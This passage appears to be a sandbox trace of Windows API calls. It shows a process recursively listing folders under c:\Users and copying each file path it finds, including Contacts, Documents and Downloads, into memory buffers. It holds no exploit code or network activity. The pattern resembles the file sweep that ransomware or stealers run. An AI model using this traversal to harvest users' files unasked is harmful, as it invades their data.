(lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2=".") returned 1 [0121.671] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2="..") returned 1 [0121.671] lstrlenW (lpString="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned 47 [0121.671] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 82 [0121.671] lstrcatW (in: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0121.671] lstrlenW (lpString="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 129 [0121.671] lstrcpyW (in: lpString1=0x24afc08, lpString2="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0121.671] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.671] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2=".") returned 1 [0121.671] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2="..") returned 1 [0121.671] lstrlenW (lpString="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned 47 [0121.671] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 78 [0121.671] lstrcatW (in: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0121.671] lstrlenW (lpString="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 125 [0121.671] lstrcpyW (in: lpString1=0x24afd18, lpString2="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0121.671] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.671] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2=".") returned 1 [0121.671] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2="..") returned 1 [0121.671] lstrlenW (lpString="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned 47 [0121.671] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 81 [0121.671] lstrcatW (in: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0121.671] lstrlenW (lpString="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 128 [0121.671] lstrcpyW (in: lpString1=0x24afe20, lpString2="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0121.671] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.671] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.672] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.672] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0121.672] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0121.672] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.672] lstrlenW (lpString="Start Menu") returned 10 [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Start Menu" | out: lpString1="c:\\Users\\All Users\\Start Menu") returned="c:\\Users\\All Users\\Start Menu" [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\Start Menu", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Start Menu\\") returned="c:\\Users\\All Users\\Start Menu\\" [0121.672] lstrlenW (lpString="c:\\Users\\All Users\\Start Menu\\") returned 30 [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\Start Menu\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Start Menu\\*") returned="c:\\Users\\All Users\\Start Menu\\*" [0121.672] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.672] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.672] lstrcmpW (lpString1="Sun", lpString2=".") returned 1 [0121.672] lstrcmpW (lpString1="Sun", lpString2="..") returned 1 [0121.672] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.672] lstrlenW (lpString="Sun") returned 3 [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Sun" | out: lpString1="c:\\Users\\All Users\\Sun") returned="c:\\Users\\All Users\\Sun" [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\Sun", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Sun\\") returned="c:\\Users\\All Users\\Sun\\" [0121.672] lstrlenW (lpString="c:\\Users\\All Users\\Sun\\") returned 23 [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\Sun\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Sun\\*") returned="c:\\Users\\All Users\\Sun\\*" [0121.672] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Sun\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.672] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.672] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.672] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.672] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.672] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.672] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0121.672] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0121.672] lstrlenW (lpString="c:\\Users\\All Users\\Sun\\") returned 23 [0121.672] lstrlenW (lpString="Java") returned 4 [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\Sun\\", lpString2="Java" | out: lpString1="c:\\Users\\All Users\\Sun\\Java") returned="c:\\Users\\All Users\\Sun\\Java" [0121.672] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.672] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.672] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.672] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0121.672] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0121.672] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.672] lstrlenW (lpString="Templates") returned 9 [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Templates" | out: lpString1="c:\\Users\\All Users\\Templates") returned="c:\\Users\\All Users\\Templates" [0121.672] lstrcatW (in: lpString1="c:\\Users\\All Users\\Templates", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Templates\\") returned="c:\\Users\\All Users\\Templates\\" [0121.673] lstrlenW (lpString="c:\\Users\\All Users\\Templates\\") returned 29 [0121.673] lstrcatW (in: lpString1="c:\\Users\\All Users\\Templates\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Templates\\*") returned="c:\\Users\\All Users\\Templates\\*" [0121.673] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Templates\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.673] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.673] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.673] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.673] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0121.673] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0121.673] lstrlenW (lpString="c:\\Users\\") returned 9 [0121.673] lstrlenW (lpString="Default") returned 7 [0121.673] lstrcatW (in: lpString1="c:\\Users\\", lpString2="Default" | out: lpString1="c:\\Users\\Default") returned="c:\\Users\\Default" [0121.673] lstrcatW (in: lpString1="c:\\Users\\Default", lpString2="\\" | out: lpString1="c:\\Users\\Default\\") returned="c:\\Users\\Default\\" [0121.673] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.673] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\*") returned="c:\\Users\\Default\\*" [0121.673] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.673] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.673] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.673] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.673] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.673] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.673] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0121.673] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0121.673] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.673] lstrlenW (lpString="AppData") returned 7 [0121.673] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="AppData" | out: lpString1="c:\\Users\\Default\\AppData") returned="c:\\Users\\Default\\AppData" [0121.673] lstrcatW (in: lpString1="c:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="c:\\Users\\Default\\AppData\\") returned="c:\\Users\\Default\\AppData\\" [0121.673] lstrlenW (lpString="c:\\Users\\Default\\AppData\\") returned 25 [0121.673] lstrcatW (in: lpString1="c:\\Users\\Default\\AppData\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\AppData\\*") returned="c:\\Users\\Default\\AppData\\*" [0121.673] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\AppData\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.673] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.673] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.673] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.673] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.673] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.673] lstrcmpW (lpString1="Local", lpString2=".") returned 1 [0121.673] lstrcmpW (lpString1="Local", lpString2="..") returned 1 [0121.674] lstrlenW (lpString="c:\\Users\\Default\\AppData\\") returned 25 [0121.674] lstrlenW (lpString="Local") returned 5 [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\AppData\\", lpString2="Local" | out: lpString1="c:\\Users\\Default\\AppData\\Local") returned="c:\\Users\\Default\\AppData\\Local" [0121.674] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.674] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1 [0121.674] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1 [0121.674] lstrlenW (lpString="c:\\Users\\Default\\AppData\\") returned 25 [0121.674] lstrlenW (lpString="LocalLow") returned 8 [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\AppData\\", lpString2="LocalLow" | out: lpString1="c:\\Users\\Default\\AppData\\LocalLow") returned="c:\\Users\\Default\\AppData\\LocalLow" [0121.674] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.674] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1 [0121.674] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1 [0121.674] lstrlenW (lpString="c:\\Users\\Default\\AppData\\") returned 25 [0121.674] lstrlenW (lpString="Roaming") returned 7 [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\AppData\\", lpString2="Roaming" | out: lpString1="c:\\Users\\Default\\AppData\\Roaming") returned="c:\\Users\\Default\\AppData\\Roaming" [0121.674] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.674] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.674] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.674] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0121.674] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0121.674] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.674] lstrlenW (lpString="Application Data") returned 16 [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="c:\\Users\\Default\\Application Data") returned="c:\\Users\\Default\\Application Data" [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Application Data\\") returned="c:\\Users\\Default\\Application Data\\" [0121.674] lstrlenW (lpString="c:\\Users\\Default\\Application Data\\") returned 34 [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\Application Data\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Application Data\\*") returned="c:\\Users\\Default\\Application Data\\*" [0121.674] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Application Data\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.674] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.674] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0121.674] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0121.674] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.674] lstrlenW (lpString="Contacts") returned 8 [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Contacts" | out: lpString1="c:\\Users\\Default\\Contacts") returned="c:\\Users\\Default\\Contacts" [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\Contacts", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Contacts\\") returned="c:\\Users\\Default\\Contacts\\" [0121.674] lstrlenW (lpString="c:\\Users\\Default\\Contacts\\") returned 26 [0121.674] lstrcatW (in: lpString1="c:\\Users\\Default\\Contacts\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Contacts\\*") returned="c:\\Users\\Default\\Contacts\\*" [0121.674] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Contacts\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.675] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.675] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.675] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.675] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.675] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.675] lstrcmpW (lpString1="Administrator.contact", lpString2=".") returned 1 [0121.675] lstrcmpW (lpString1="Administrator.contact", lpString2="..") returned 1 [0121.675] lstrlenW (lpString="c:\\Users\\Default\\Contacts\\") returned 26 [0121.675] lstrlenW (lpString="Administrator.contact") returned 21 [0121.675] lstrcatW (in: lpString1="c:\\Users\\Default\\Contacts\\", lpString2="Administrator.contact" | out: lpString1="c:\\Users\\Default\\Contacts\\Administrator.contact") returned="c:\\Users\\Default\\Contacts\\Administrator.contact" [0121.675] lstrlenW (lpString="c:\\Users\\Default\\Contacts\\Administrator.contact") returned 47 [0121.675] lstrcpyW (in: lpString1=0x24ad830, lpString2="c:\\Users\\Default\\Contacts\\Administrator.contact" | out: lpString1="c:\\Users\\Default\\Contacts\\Administrator.contact") returned="c:\\Users\\Default\\Contacts\\Administrator.contact" [0121.675] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.675] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.675] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.675] lstrlenW (lpString="c:\\Users\\Default\\Contacts\\") returned 26 [0121.675] lstrlenW (lpString="desktop.ini") returned 11 [0121.675] lstrcatW (in: lpString1="c:\\Users\\Default\\Contacts\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Contacts\\desktop.ini") returned="c:\\Users\\Default\\Contacts\\desktop.ini" [0121.675] lstrlenW (lpString="c:\\Users\\Default\\Contacts\\desktop.ini") returned 37 [0121.675] lstrcpyW (in: lpString1=0x24aba98, lpString2="c:\\Users\\Default\\Contacts\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Contacts\\desktop.ini") returned="c:\\Users\\Default\\Contacts\\desktop.ini" [0121.675] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.675] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.676] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.676] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0121.676] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0121.676] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.676] lstrlenW (lpString="Cookies") returned 7 [0121.676] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="c:\\Users\\Default\\Cookies") returned="c:\\Users\\Default\\Cookies" [0121.676] lstrcatW (in: lpString1="c:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Cookies\\") returned="c:\\Users\\Default\\Cookies\\" [0121.676] lstrlenW (lpString="c:\\Users\\Default\\Cookies\\") returned 25 [0121.676] lstrcatW (in: lpString1="c:\\Users\\Default\\Cookies\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Cookies\\*") returned="c:\\Users\\Default\\Cookies\\*" [0121.676] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Cookies\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.676] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.676] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0121.676] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0121.676] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.676] lstrlenW (lpString="Desktop") returned 7 [0121.676] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="c:\\Users\\Default\\Desktop") returned="c:\\Users\\Default\\Desktop" [0121.676] lstrcatW (in: lpString1="c:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Desktop\\") returned="c:\\Users\\Default\\Desktop\\" [0121.676] lstrlenW (lpString="c:\\Users\\Default\\Desktop\\") returned 25 [0121.676] lstrcatW (in: lpString1="c:\\Users\\Default\\Desktop\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Desktop\\*") returned="c:\\Users\\Default\\Desktop\\*" [0121.676] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Desktop\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.676] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.676] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.676] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.676] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.676] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.676] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.676] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.676] lstrlenW (lpString="c:\\Users\\Default\\Desktop\\") returned 25 [0121.676] lstrlenW (lpString="desktop.ini") returned 11 [0121.676] lstrcatW (in: lpString1="c:\\Users\\Default\\Desktop\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Desktop\\desktop.ini") returned="c:\\Users\\Default\\Desktop\\desktop.ini" [0121.676] lstrlenW (lpString="c:\\Users\\Default\\Desktop\\desktop.ini") returned 36 [0121.676] lstrcpyW (in: lpString1=0x24abaf0, lpString2="c:\\Users\\Default\\Desktop\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Desktop\\desktop.ini") returned="c:\\Users\\Default\\Desktop\\desktop.ini" [0121.676] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.676] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.677] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.677] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0121.677] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0121.677] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.677] lstrlenW (lpString="Documents") returned 9 [0121.677] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Documents" | out: lpString1="c:\\Users\\Default\\Documents") returned="c:\\Users\\Default\\Documents" [0121.677] lstrcatW (in: lpString1="c:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Documents\\") returned="c:\\Users\\Default\\Documents\\" [0121.677] lstrlenW (lpString="c:\\Users\\Default\\Documents\\") returned 27 [0121.677] lstrcatW (in: lpString1="c:\\Users\\Default\\Documents\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Documents\\*") returned="c:\\Users\\Default\\Documents\\*" [0121.677] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Documents\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.677] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.677] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.677] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.677] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.677] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.677] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.677] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.677] lstrlenW (lpString="c:\\Users\\Default\\Documents\\") returned 27 [0121.677] lstrlenW (lpString="desktop.ini") returned 11 [0121.677] lstrcatW (in: lpString1="c:\\Users\\Default\\Documents\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Documents\\desktop.ini") returned="c:\\Users\\Default\\Documents\\desktop.ini" [0121.677] lstrlenW (lpString="c:\\Users\\Default\\Documents\\desktop.ini") returned 38 [0121.677] lstrcpyW (in: lpString1=0x24abb48, lpString2="c:\\Users\\Default\\Documents\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Documents\\desktop.ini") returned="c:\\Users\\Default\\Documents\\desktop.ini" [0121.677] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.677] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0121.677] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0121.677] lstrlenW (lpString="c:\\Users\\Default\\Documents\\") returned 27 [0121.677] lstrlenW (lpString="My Music") returned 8 [0121.677] lstrcatW (in: lpString1="c:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="c:\\Users\\Default\\Documents\\My Music") returned="c:\\Users\\Default\\Documents\\My Music" [0121.677] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.678] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0121.678] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0121.678] lstrlenW (lpString="c:\\Users\\Default\\Documents\\") returned 27 [0121.678] lstrlenW (lpString="My Pictures") returned 11 [0121.678] lstrcatW (in: lpString1="c:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="c:\\Users\\Default\\Documents\\My Pictures") returned="c:\\Users\\Default\\Documents\\My Pictures" [0121.678] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.678] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0121.678] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0121.678] lstrlenW (lpString="c:\\Users\\Default\\Documents\\") returned 27 [0121.678] lstrlenW (lpString="My Videos") returned 9 [0121.678] lstrcatW (in: lpString1="c:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="c:\\Users\\Default\\Documents\\My Videos") returned="c:\\Users\\Default\\Documents\\My Videos" [0121.678] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.678] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.678] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.678] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0121.678] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0121.678] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.678] lstrlenW (lpString="Downloads") returned 9 [0121.678] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="c:\\Users\\Default\\Downloads") returned="c:\\Users\\Default\\Downloads" [0121.678] lstrcatW (in: lpString1="c:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Downloads\\") returned="c:\\Users\\Default\\Downloads\\" [0121.678] lstrlenW (lpString="c:\\Users\\Default\\Downloads\\") returned 27 [0121.678] lstrcatW (in: lpString1="c:\\Users\\Default\\Downloads\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Downloads\\*") returned="c:\\Users\\Default\\Downloads\\*" [0121.678] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Downloads\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.679] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.679] 